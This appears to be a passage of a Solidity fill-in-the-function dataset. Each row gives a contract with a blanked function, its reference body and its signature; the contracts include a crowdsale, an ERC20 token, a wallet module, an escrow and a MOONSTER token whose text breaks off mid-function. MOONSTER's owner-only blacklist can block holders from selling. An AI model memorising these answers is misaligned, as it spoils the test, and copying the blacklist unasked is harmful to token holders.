* @param _tokenAmount uint256 Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(sold.add(_tokenAmount) <= tge.ICO_AMOUNT(), "Can't be sold more than ICO amount.");
sold = sold.add(_tokenAmount);
super._processPurchase(_beneficiary, _tokenAmount);
}
/**
* @dev Finalization, transfer unsold tokens to the reserve address with lockup
*/
function finalization() internal {
uint256 _unsold = token.balanceOf(this);
if (_unsold > 0) {
PlatinToken(token).transfer(
tge.UNSOLD_RESERVE(),
_unsold);
}
}
/**
* @dev Extend parent behavior requiring contract to be not paused and the min purchase amount is received.
* @param _beneficiary address Token beneficiary
* @param _weiAmount uint256 Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
require(_weiAmount >= tge.MIN_PURCHASE_AMOUNT(), "Insufficient funds to make the purchase.");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
/**
* @dev Override parent behavior to process lockup purchase if needed
* @param _weiAmount uint256 Value in wei to be converted into tokens
* @return uint256 Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 _rate = rate;
if (lockup)
_rate = tge.TOKEN_RATE_LOCKUP();
return _weiAmount.mul(_rate);
}
} | contract PlatinICO is FinalizableCrowdsale, WhitelistedCrowdsale, Pausable {
using SafeMath for uint256;
// Lockup purchase
bool lockup;
// Amount of sold tokens
uint256 public sold;
// Platin TGE contract
PlatinTGE public tge;
/**
* @dev Constructor
* @param _rate uint256 Number of token units a buyer gets per wei
* @param _wallet address Address where collected funds will be forwarded to
* @param _token address Address of the token being sold
* @param _openingTime uint256 Crowdsale opening time
* @param _closingTime uint256 Crowdsale closing time
*/
constructor(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{}
/**
* @dev Set TGE contract
* @param _tge address PlatinTGE contract address
*/
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
rate = tge.TOKEN_RATE();
}
/**
* @dev Purchase and lockup purchased tokens
*/
function buyLockupTokens(address _beneficiary) external payable {
lockup = true;
if (_beneficiary == address(0x0))
buyTokens(msg.sender);
else
buyTokens(_beneficiary);
}
<FILL_FUNCTION>
/**
* @dev Extend parent behavior to process purchase
* @param _beneficiary address Address receiving the tokens
* @param _tokenAmount uint256 Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(sold.add(_tokenAmount) <= tge.ICO_AMOUNT(), "Can't be sold more than ICO amount.");
sold = sold.add(_tokenAmount);
super._processPurchase(_beneficiary, _tokenAmount);
}
/**
* @dev Finalization, transfer unsold tokens to the reserve address with lockup
*/
function finalization() internal {
uint256 _unsold = token.balanceOf(this);
if (_unsold > 0) {
PlatinToken(token).transfer(
tge.UNSOLD_RESERVE(),
_unsold);
}
}
/**
* @dev Extend parent behavior requiring contract to be not paused and the min purchase amount is received.
* @param _beneficiary address Token beneficiary
* @param _weiAmount uint256 Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
require(_weiAmount >= tge.MIN_PURCHASE_AMOUNT(), "Insufficient funds to make the purchase.");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
/**
* @dev Override parent behavior to process lockup purchase if needed
* @param _weiAmount uint256 Value in wei to be converted into tokens
* @return uint256 Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 _rate = rate;
if (lockup)
_rate = tge.TOKEN_RATE_LOCKUP();
return _weiAmount.mul(_rate);
}
} |
if (lockup) {
uint256[] memory _lockupReleases = new uint256[](1);
uint256[] memory _lockupAmounts = new uint256[](1);
_lockupReleases[0] = block.timestamp + tge.ICO_LOCKUP_PERIOD(); // solium-disable-line security/no-block-members
_lockupAmounts[0] = _tokenAmount;
PlatinToken(token).transferWithLockup(
_beneficiary,
_tokenAmount,
_lockupReleases,
_lockupAmounts,
false);
lockup = false;
} else {
PlatinToken(token).transfer(
_beneficiary,
_tokenAmount);
}
| function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
| /**
* @dev Extend parent behavior to deliver purchase
* @param _beneficiary address Address performing the token purchase
* @param _tokenAmount uint256 Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
|
87584 | KDebug | timestemp | contract KDebug is KPausable {
KTimeController internal debugTimeController;
function timestempZero() internal view returns (uint) {
return timestemp() / 1 days * 1 days;
}
function timestemp() internal view returns (uint) {<FILL_FUNCTION_BODY> }
function KSetDebugTimeController(address tc) external KOwnerOnly {
debugTimeController = KTimeController(tc);
}
} | contract KDebug is KPausable {
KTimeController internal debugTimeController;
function timestempZero() internal view returns (uint) {
return timestemp() / 1 days * 1 days;
}
<FILL_FUNCTION>
function KSetDebugTimeController(address tc) external KOwnerOnly {
debugTimeController = KTimeController(tc);
}
} |
if ( debugTimeController != KTimeController(0) ) {
return debugTimeController.timestemp();
} else {
return now;
}
| function timestemp() internal view returns (uint) | function timestemp() internal view returns (uint) |
8499 | BaseModule | invokeWallet | contract BaseModule is Module {
// Empty calldata
bytes constant internal EMPTY_BYTES = "";
// The adddress of the module registry.
ModuleRegistry internal registry;
// The address of the Guardian storage
GuardianStorage internal guardianStorage;
/**
* @dev Throws if the wallet is locked.
*/
modifier onlyWhenUnlocked(BaseWallet _wallet) {
// solium-disable-next-line security/no-block-members
require(!guardianStorage.isLocked(_wallet), "BM: wallet must be unlocked");
_;
}
event ModuleCreated(bytes32 name);
event ModuleInitialised(address wallet);
constructor(ModuleRegistry _registry, GuardianStorage _guardianStorage, bytes32 _name) public {
registry = _registry;
guardianStorage = _guardianStorage;
emit ModuleCreated(_name);
}
/**
* @dev Throws if the sender is not the target wallet of the call.
*/
modifier onlyWallet(BaseWallet _wallet) {
require(msg.sender == address(_wallet), "BM: caller must be wallet");
_;
}
/**
* @dev Throws if the sender is not the owner of the target wallet or the module itself.
*/
modifier onlyWalletOwner(BaseWallet _wallet) {
require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet");
_;
}
/**
* @dev Throws if the sender is not the owner of the target wallet.
*/
modifier strictOnlyWalletOwner(BaseWallet _wallet) {
require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet");
_;
}
/**
* @dev Inits the module for a wallet by logging an event.
* The method can only be called by the wallet itself.
* @param _wallet The wallet.
*/
function init(BaseWallet _wallet) public onlyWallet(_wallet) {
emit ModuleInitialised(address(_wallet));
}
/**
* @dev Adds a module to a wallet. First checks that the module is registered.
* @param _wallet The target wallet.
* @param _module The modules to authorise.
*/
function addModule(BaseWallet _wallet, Module _module) external strictOnlyWalletOwner(_wallet) {
require(registry.isRegisteredModule(address(_module)), "BM: module is not registered");
_wallet.authoriseModule(address(_module), true);
}
/**
* @dev Utility method enbaling anyone to recover ERC20 token sent to the
* module by mistake and transfer them to the Module Registry.
* @param _token The token to recover.
*/
function recoverToken(address _token) external {
uint total = ERC20(_token).balanceOf(address(this));
ERC20(_token).transfer(address(registry), total);
}
/**
* @dev Helper method to check if an address is the owner of a target wallet.
* @param _wallet The target wallet.
* @param _addr The address.
*/
function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) {
return _wallet.owner() == _addr;
}
/**
* @dev Helper method to invoke a wallet.
* @param _wallet The target wallet.
* @param _to The target address for the transaction.
* @param _value The value of the transaction.
* @param _data The data of the transaction.
*/
function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) {<FILL_FUNCTION_BODY> }
} | contract BaseModule is Module {
// Empty calldata
bytes constant internal EMPTY_BYTES = "";
// The adddress of the module registry.
ModuleRegistry internal registry;
// The address of the Guardian storage
GuardianStorage internal guardianStorage;
/**
* @dev Throws if the wallet is locked.
*/
modifier onlyWhenUnlocked(BaseWallet _wallet) {
// solium-disable-next-line security/no-block-members
require(!guardianStorage.isLocked(_wallet), "BM: wallet must be unlocked");
_;
}
event ModuleCreated(bytes32 name);
event ModuleInitialised(address wallet);
constructor(ModuleRegistry _registry, GuardianStorage _guardianStorage, bytes32 _name) public {
registry = _registry;
guardianStorage = _guardianStorage;
emit ModuleCreated(_name);
}
/**
* @dev Throws if the sender is not the target wallet of the call.
*/
modifier onlyWallet(BaseWallet _wallet) {
require(msg.sender == address(_wallet), "BM: caller must be wallet");
_;
}
/**
* @dev Throws if the sender is not the owner of the target wallet or the module itself.
*/
modifier onlyWalletOwner(BaseWallet _wallet) {
require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet");
_;
}
/**
* @dev Throws if the sender is not the owner of the target wallet.
*/
modifier strictOnlyWalletOwner(BaseWallet _wallet) {
require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet");
_;
}
/**
* @dev Inits the module for a wallet by logging an event.
* The method can only be called by the wallet itself.
* @param _wallet The wallet.
*/
function init(BaseWallet _wallet) public onlyWallet(_wallet) {
emit ModuleInitialised(address(_wallet));
}
/**
* @dev Adds a module to a wallet. First checks that the module is registered.
* @param _wallet The target wallet.
* @param _module The modules to authorise.
*/
function addModule(BaseWallet _wallet, Module _module) external strictOnlyWalletOwner(_wallet) {
require(registry.isRegisteredModule(address(_module)), "BM: module is not registered");
_wallet.authoriseModule(address(_module), true);
}
/**
* @dev Utility method enbaling anyone to recover ERC20 token sent to the
* module by mistake and transfer them to the Module Registry.
* @param _token The token to recover.
*/
function recoverToken(address _token) external {
uint total = ERC20(_token).balanceOf(address(this));
ERC20(_token).transfer(address(registry), total);
}
/**
* @dev Helper method to check if an address is the owner of a target wallet.
* @param _wallet The target wallet.
* @param _addr The address.
*/
function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) {
return _wallet.owner() == _addr;
}
<FILL_FUNCTION>
} |
bool success;
// solium-disable-next-line security/no-call-value
(success, _res) = _wallet.call(abi.encodeWithSignature("invoke(address,uint256,bytes)", _to, _value, _data));
if(success && _res.length > 0) { //_res is empty if _wallet is an "old" BaseWallet that can't return output values
(_res) = abi.decode(_res, (bytes));
} else if (_res.length > 0) {
// solium-disable-next-line security/no-inline-assembly
assembly {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
} else if(!success) {
revert("BM: wallet invoke reverted");
}
| function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) | /**
* @dev Helper method to invoke a wallet.
* @param _wallet The target wallet.
* @param _to The target address for the transaction.
* @param _value The value of the transaction.
* @param _data The data of the transaction.
*/
function invokeWallet(address _wallet, address _to, uint256 _value, bytes memory _data) internal returns (bytes memory _res) |
50493 | UpgradeableToken | setMigrationAgent | contract UpgradeableToken is Ownable, StandardToken {
address public migrationAgent;
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed from, address indexed to, uint256 value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
// Migrate tokens to the new token contract
function migrate() public {
require(migrationAgent != 0);
uint value = balances[msg.sender];
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Upgrade(msg.sender, migrationAgent, value);
}
function () public payable {
require(migrationAgent != 0);
require(balances[msg.sender] > 0);
migrate();
msg.sender.transfer(msg.value);
}
function setMigrationAgent(address _agent) onlyOwner external {<FILL_FUNCTION_BODY> }
} | contract UpgradeableToken is Ownable, StandardToken {
address public migrationAgent;
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed from, address indexed to, uint256 value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
// Migrate tokens to the new token contract
function migrate() public {
require(migrationAgent != 0);
uint value = balances[msg.sender];
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Upgrade(msg.sender, migrationAgent, value);
}
function () public payable {
require(migrationAgent != 0);
require(balances[msg.sender] > 0);
migrate();
msg.sender.transfer(msg.value);
}
<FILL_FUNCTION>
} |
migrationAgent = _agent;
UpgradeAgentSet(_agent);
| function setMigrationAgent(address _agent) onlyOwner external | function setMigrationAgent(address _agent) onlyOwner external |
83288 | NOUMToken | totalSupply | contract NOUMToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "NOUM";
name = "Final Freedom token";
decimals = 0;
_totalSupply = 1000000000;
balances[0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88] = _totalSupply;
emit Transfer(address(0), 0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | contract NOUMToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "NOUM";
name = "Final Freedom token";
decimals = 0;
_totalSupply = 1000000000;
balances[0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88] = _totalSupply;
emit Transfer(address(0), 0xBE4ff2fa2CaccECE8cfb4763f7ed89cBEe63fD88, _totalSupply);
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} |
return _totalSupply - balances[address(0)];
| function totalSupply() public constant returns (uint) | // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) |
81251 | ConditionalEscrow | withdraw | contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {<FILL_FUNCTION_BODY> }
} | contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address payee) public view returns (bool);
<FILL_FUNCTION>
} |
require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw");
super.withdraw(payee);
| function withdraw(address payable payee) public | function withdraw(address payable payee) public |
6342 | MOONSTER | null | contract MOONSTER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "MOONSTER";
string private constant _symbol = "MNSTR";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {<FILL_FUNCTION_BODY> }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract MOONSTER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "MOONSTER";
string private constant _symbol = "MNSTR";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
<FILL_FUNCTION>
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
